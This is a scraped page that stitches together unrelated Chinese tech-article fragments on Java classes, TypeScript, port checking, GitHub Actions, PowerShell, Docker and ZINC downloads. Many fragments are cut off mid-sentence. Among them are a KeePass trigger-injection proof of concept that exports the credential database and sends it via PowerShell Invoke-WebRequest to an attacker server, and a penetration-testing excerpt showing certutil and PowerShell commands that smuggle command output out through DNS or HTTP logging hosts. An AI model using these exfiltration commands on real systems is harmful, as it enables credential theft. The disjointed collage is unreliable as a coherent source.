如何创建和使用在线程内部用的全局对象 ''' threading.local() local类用于创建一个全局对象,不过改该对象只能在线程内部使用,也就是说吗,全局是针对一个线程而言的 ''' import
参考链接: Java中的对象和类 1.对象的概念 :万物皆对象,客观存在的事物皆为对象 2.什么是面向对象:人关注一个对象,实际上是关注该对象的事务信息 3.类:类是模子,确定对象将会拥有的特征(...对象是一个你能够看得到,摸得着的具体实体 如何定义Java中的类: 1.类的重要性:所有Java程序都以类class为组织单元 2.什么是类:类是模子,确定对象将会拥有的特征(属性)和行为(方法...方法n; } Java对象 使用对象的步骤: 1.创建对象: 类名 对象名 = new 类名(); ... Telphone phone =new Telphone(); 2.使用对象 引用对象的属性:对象名.属性 phone.screen = 5; //给screen属性赋值... 2.局部变量 在类的方法中定义,在方法中临时保存数据 成员变量和局部变量的区别 1.作用域不同: 局部变量的作用域仅限于定义他的方法 成员变量的作用域在整个类内部都是可见的
防止数据被意外修改:使用 as const 创建的对象在创建后无法修改,这有助于防止数据在代码的不同部分被意外修改。...console.log(person.name); // 输出 "Alice" 在这个例子中,我们使用 as const 创建了一个名为 person 的常量对象。...可以与对象展开语法结合使用:可以创建一个新对象,该对象是现有对象的副本,但其中一些属性使用 as const 声明为只读。...在第二个例子中,deepReadonlyObject 的所有属性,包括嵌套属性,都是只读的,无法修改。 实际应用场景 配置文件:使用 as const 定义配置文件,确保配置项不被意外修改。...例如,确保组件属性在使用过程中不会被修改。
目录 使用 netstat 检查开放端口 使用 lsof 检查开放端口 使用 nmap 检查开放端口 在对网络连接或特定于应用程序的问题进行故障排除时,首先要检查的事情之一应该是系统上实际使用的端口以及哪个应用程序正在侦听特定端口...使用 netstat 检查开放端口 netstat (network statistics) 是一个命令行工具,用于监控传入和传出的网络连接以及查看路由表、接口统计信息等。...-p:显示侦听器进程的PID和名称。仅当你以 root 或 sudo 用户身份运行命令时才会显示此信息。 我们案例中的重要列是: Proto – 套接字使用的协议。...使用 lsof 检查开放端口 lsof 意义 LiSt Open Files’ 用于找出哪些文件被哪个进程打开。在 Linux 中,一切都是文件。你可以将套接字视为写入网络的文件。...使用 nmap 检查开放端口 nmap, 或者 Network Mapper, 是用于网络探索和安全审计的开源 Linux 命令行工具。
2、github actions 那我们这次利用github actions能做什么呢,我们主要拿github actions来进行自动化的构建和发布。...8.1 SDK shell: powershell run: | Invoke-WebRequest -Method Get -Uri https://go.microsoft.com/fwlink...但每次编译再过来下载artifact并非我的本意,我想要自动发布到release,这里使用其他两个模块: actions/create-release actions/upload-release-asset...actions/upload-release-asset模块发布的时候,需要是压缩包,因此这里使用powershell把生成的exe压缩一下,再丢给actions/upload-release-asset...with是模块所需要的参数,env就是取secret作为全局变量,如果你在仓库的setting中设置了secret变量,也可以用这种方法取到,这样可以防止把敏感信息写死在代码里。
但是只是一定程度,因为,为ZINC中的商业化合物库是国外商家的库的集合,所以国内的话还是会有一些药物无法购买。...同时他提供的3D格式分子文件下载,可以为虚拟筛选提供很大的便利,但同时也要注意,3D格式文件中包含着多少冗余,化合物盐合形式等等。...如何下载: >别的功能先放在一边,毕竟大家的第一目的就是下载化合物库进行虚拟筛选的。所以,这次主要讲讲如何下载ZINC的化合物库,其余功能有时间再更新。 (1)这是ZINC15的主界面 ?...(2)powershell 文本内容: Invoke-WebRequest http://files.docking.org/2D/BA/BAAA.smi -OutFile BA/BAAA.smi Invoke-WebRequest...打开powershell,将后缀为powershell的文件重命名为ps 1.然后再powershell模式下启动,命令行为 .
有关于更多PowerShell的信息,可参阅百度词条 接下我们就要借助PowerShell来自动部署ASP.NetCore程序。...打开PowerShell 打开开始菜单,输入 PowerShell 进行搜索就可以看到它了 image.png WebAdministration 首先我们要引入PowerShell中的WebAdministration...该脚本中包含了对IIS的检测,DotNetCore.WindowsHosting的检测和安装,在线下载程序并解压等: Add-Type -AssemblyName System.IO.Compression.FileSystem...执行脚本 执行脚本的方式很简单,可以在PowerShell的控制台中直接使用脚本的名称即可(注意路径) ..../ZKEACMS.ps1 或者可以直接鼠标右键该脚本文件,然后选择菜单中的使用 PowerShell 运行 如果你的脚本在网络上,可以直接在控制台中使用以下脚本来运行而不用下载它,例如可以使用以下脚本来在线安装
其中最重要的增强之处就是Docker现在可以使用Hyper-V技术在Windows上运行Linux容器。...安装Docker和LinuxKit 以管理员身份在PowerShell中运行以下命令即可以获取LinuxKit的预览版本: $progressPreference = 'silentlyContinue.../windows/x86_64/dockerd.exe 启动一个新的Docker守护进程监听一个单独的管道,并使用默认安装中的一个单独的存储位置: $Env:LCOW_SUPPORTED=1 ....在正式发布版中,Windows上的Docker Linux容器将同时改善Windows开发人员和服务器管理员的使用体验。...开发人员可以通过在同一个系统上并行运行两个平台的容器来更轻松地构建和测试混合的Windows / Linux Docker应用程序。
(1) 对 KeePass 配置文件具有写入权限的攻击者KeePass.config.xml可以注入以下触发器,例如: <?xml version="1.0" encoding="utf-8"?...,触发器将在后台执行,将凭据泄露给攻击者服务器 触发 PoC 详细信息 KeePass XML (2.x) formata) 触发器会将包含所有凭据的 keepass 数据库导出到以下(cleartext...) 路径中,例如: c:\Users\John\AppData\Local\Temp\exploit.xml b) 导出文件后,可以定义第二个操作来使用Powershell.exe和编码为exfiltrate...XML 数据,base64例如: PowerShell.exe -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here...Arguments: -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -
重開 Windows PowerShell 並安裝 Oh My Posh 所需的字型 執行以下命令會直接安裝 CascadiaCode 字型!...調整 Windows Terminal 設定 請將 Windows PowerShell、PowerShell Core、WSL 的 外觀 (Appearance) 調整使用 CaskaydiaCove...建議修改 PowerShell 的啟動參數,命令列的部分加入 -NoLogo 參數: "C:\Program Files\PowerShell\7\pwsh.exe" -NoLogo 安裝 Terminal-Icons...安裝 PSReadLine 模組 優化 PowerShell 環境的利器,不過只能在 PowerShell 7 執行: Install-Module PSReadLine -AllowPrerelease...Cmdlets / Functions 與停用兩個不太實用的 Cmdlet Aliases 你可以直接將我的 PROFILE_Cmdlets_Functions.ps1 內容加入到 PROFILE 啟動設定檔中
文章目录 一、 报错信息 二、解决方案 ( 检查镜像地址环境变量设置 ) 1、检查镜像地址环境变量设置 ( 错误方案 没有解决问题 ) 2、尝试使用官方地址 三、总结 1、官方镜像 ( 推荐方案 )...二、解决方案 ( 检查镜像地址环境变量设置 ) ---- 1、检查镜像地址环境变量设置 ( 错误方案 没有解决问题 ) Dart SDK 下载错误 , 肯定是没有访问到 Dart SDK 的下载地址 ;...) 五、设置 Flutter 网络镜像 ( 中国国内推荐设置 ) 步骤中设置了网络镜像环境变量 , 检查下面的两个镜像是否设置正确 ; 中国国内建议使用镜像 ( 官方网站推荐 ) : FLUTTER_STORAGE_BASE_URL...: 右键点击 " 我的电脑 / 此电脑 " -> 属性 -> 高级系统设置 -> 高级 -> 环境变量 ; MAC 中设置环境变量 : 在命令行使用 export 命令 ; export PUB_HOSTED_URL...: 右键点击 " 我的电脑 / 此电脑 " -> 属性 -> 高级系统设置 -> 高级 -> 环境变量 ; MAC 中设置环境变量 : 在命令行使用 export 命令 ; export PUB_HOSTED_URL
设置Docker和LinuxKit 通过在PowerShell中运行以下命令(在管理员权限下),可以安装LinuxKit的预览版本: $progressPreference = 'silentlyContinue...容器预览支持的Docker守护进程的主版本: Invoke-WebRequest -UseBasicParsing -OutFile dockerd.exe https://master.dockerproject.org.../windows/x86_64/dockerd.exe 启动一个新的Docker守护进程监听一个单独的管道,并使用默认安装中的一个单独的存储位置: $Env:LCOW_SUPPORTED=1 ....在GA中,Windows上的Docker Linux容器将改善Windows开发人员和服务器管理员的Docker Linux容器体验。...开发人员可以通过在同一个系统上并行运行两个平台的容器来更轻松地构建和测试混合的Windows / Linux Docker应用程序。
前言 对于ATT&CK,我相信搞安全的师傅们都在熟悉不过了,ATT&CK把攻击者所运用的技术都以各种TTP展现出来了,如何将ATT&CK框架,更好的利用在我们的企业中,看似是一个简单的问题,实际操作却会出现许多无法意料的问题...不能这么草率吧,以及T1059.001的powershell,我们又打算如何设计我们的规则,是单纯的匹配恶意powershell文本的执行,比如powerspliot还是empire的脚本,还是根据powershell...如果你是防守方,这一条att&ck的规则你会怎么写?对于这种特殊字符串到底该如何检测?...再举一个列子,powershell能够下载文件,但是我很少看见师傅用这个命令,Invoke-webrequest powershell.exe Invoke-webrequest -uri http:/.../192.168.1.28:1456/test.txt -o test.txt 而我们的Invoke-webrequest ==》 iwr powershell.exe iwr -uri http://
关于WebStor WebStor是一款功能强大的网站安全检测工具脚本,在WebStor的帮助下,广大研究人员可以轻松快速枚举当前组织中的全部网站,以及响应存储、数据存储和其他所使用的已知Web技术。...使用Masscan扫描组织网络范围中开放的HTTP/HTTPS端口,以及组织网络的A记录和CNAME记录中存在的那些组织地址范围外的任何IP地址。...使用Python的requests库收集全部的响应信息并存储在MariaDB数据库中。...除了IP地址之外,与开放HTTP/HTTPS端口的IP相对应的所有DNS名称都将包含在请求中,以便目标网站在使用不同Header的时候不会导致遗漏任何站点。...下载WappalyzerWeb技术数据库并存储在MariaDB数据库中,使用户能够按名称查询常见Web技术位置。 允许用户查询包含了自定义正则表达式的存储响应位置。
地方 , 都可以使用 " 公有继承 " 的 派生类 ( 子类 ) 对象 替代 , 该 派生类 ( 子类 ) 得到了 除 构造函数 和 析构函数 之外的 所有 成员变量 和 成员方法 ; 功能完整性 :..." 公有继承 " 的 派生类 ( 子类 ) 本质上 具有 基类 ( 父类 ) 的 完整功能 , 使用 基类 可以解决的问题 , 使用 公有继承派生类 都能解决 ; 特别注意 : " 保护继承 " 和..." 应用场景 : 直接使用 : 使用 子类对象 作为 父类对象 使用 ; 赋值 : 将 子类对象 赋值给 父类对象 ; 初始化 : 使用 子类对象 为 父类对象 初始化 ; 指针 : 父类指针 指向...子类对象 , 父类指针 值为 子类对象 在 堆内存 的地址 , 也就是 将 子类对象 地址 赋值给 父类类型指针 ; 引用 : 父类引用 引用 子类对象 , 将 子类对象 赋值给 父类类型的引用 ; 二...); } 2、使用 子类对象 为 父类对象 进行初始化 定义父类对象 , 可以直接使用 子类对象 进行初始化操作 ; // II.
本文告诉大家如何在自己的 CI 服务器上部署一个私有的 GitHub Action Runner 用来执行 GitHub 上的仓库的构建 安装 为了作为一个 dotnet 的 GitHub Action...上一条条执行的,在 PowerShell 里面 # 代表这一行是注释。.../v2.274.2/actions-runner-win-x64-2.274.2.zip 下载运行器,下载完成之后解压缩到文件夹 而使用 Invoke-WebRequest 的下载速度不够快,此时我和大家安利的下载工具...配置基本上一路下一步按回车就可以 为了在服务器上有足够的权限运行脚本,还需要使用管理员权限打开 PowerShell 输入下面代码进行配置 Set-ExecutionPolicy -ExecutionPolicy...的 Action 进行持续集成 可以了解是如何写 YAML 配置文件的,而咱需要在这个配置文件里面修改使用自己部署的运行器 jobs: build: # 将 windows-latest 换为
配置应用 在我们的应用中安装Exceptionless,在Nuget中直接搜索 Exceptionless.AspNetCore进行安装,或者在VS内置Powershell中执行下面命令 Install-Package...这里有个Dashboard显示异常记录的统计信息 ? 点击某一条具体的异常记录,可以查看具体的异常信息 ? ? 这就是使用官网提供服务的流程。使用非常的简单,但在使用上也会存在一定的问题。...大概意思就是我的电脑同时安装了.NET 4.0 和.NET 4.5或更高版本,这导致加密协议的默认值为 SSLv3和 TLSv1,而Powershell需要使用 Tls12才能正常使用 Invoke-WebRequest...Powershell脚本中要下载的是什么文件,自己单独先把文件下载好放在它指定的位置就可以了,我就是这么干的。。...总结 本文主要是介绍了如何快速应用Exceptionless记录异常,以及如何进行本地化部署,然后就是在我自己进行试验的过程中踩到的坑,当然了Exceptionless还有很多功能,以及本地化时的一些设置在本文中都是没有涉及到的
0x01 前言 在渗透测试中我们时常会遇到一些无回显的场景,如常见的:SQL盲注、命令执行、XSS、SSRF、Blind XXE等漏洞,这时就需要利用第三方dnslog/httplog平台才能将数据和命令执行结果外带出来...certutil -urlcache -split -f http://***.burpcollaborator.net powershell (Invoke-WebRequest -Uri "http...python -m SimpleHTTPServer 8888 python3 -m http.server 8888 接着我们再执行以下命令即可,外带出来的执行结果会显示在开启的Web日志中。...urlcache -split -f http://192.168.1.120:8888/%i 我们也可以直接用Burp Collaborator或CEYE外带,不过有时Burp Collaborator中的...记得在使用Burp Collaborator前先去检查一下,确定没问题后再去执行命令进行外带。
/install_qcloud_virtio.ps1 2、很多好用的命令,没有 比如最常用的Invoke-WebRequest (Invoke-WebRequest简写wget、curl,注意没有.exe...这可能是因为您正在使用的 .NET Framework 或 PowerShell 的版本过低。 在 PowerShell 中,TLS 1.2 由 .NET Framework 提供支持。....您可以通过以下命令查看当前 PowerShell 使用的 .NET Framework 版本: #ps1 $PSVersionTable.CLRVersion 如果您的 .NET Framework 版本低于...4.5,或者您的 PowerShell 版本低于 3.0,那么您将无法使用 TLS 1.2。...]::Tls 请注意,SSL 3.0 和 TLS 1.0 都存在已知的安全问题,不推荐使用。
最近忙成狗了,很少挤出时间来学习,大部分时间都在加班测需求,今天在测一个需求的时候,需要对比数据同步后的数据是否正确,因此需要用到json对比差异,这里使用deepdiff。...一般是用deepdiff进行对比的时候,常见的对比是对比单个的json对象,这个时候如果某个字段的结果有差异时,可以使用exclude_paths选项去指定要忽略的字段内容,可以看下面的案例进行学习:...那么如果数据量比较大的话,单条对比查询数据效率比较低,因此,肯呢个会调用接口进行批量查询,然后将数据转成[{},{},{}]的列表形式去进行对比,那么这个时候再使用exclude_paths就无法直接简单的排除某个字段了...从上图可以看出,此时对比列表元素的话,除非自己一个个去指定要排除哪个索引下的字段,不过这样当列表的数据比较多的时候,这样写起来就很不方便,代码可读性也很差,之前找到过一个用法,后来好久没用,有点忘了,今晚又去翻以前写过的代码记录...,终于又给我找到了,针对这种情况,可以使用exclude_regex_paths去实现: 时间有限,这里就不针对deepdiff去做过多详细的介绍了,感兴趣的小伙伴可自行查阅文档学习。
领取专属 10元无门槛券
手把手带您无忧上云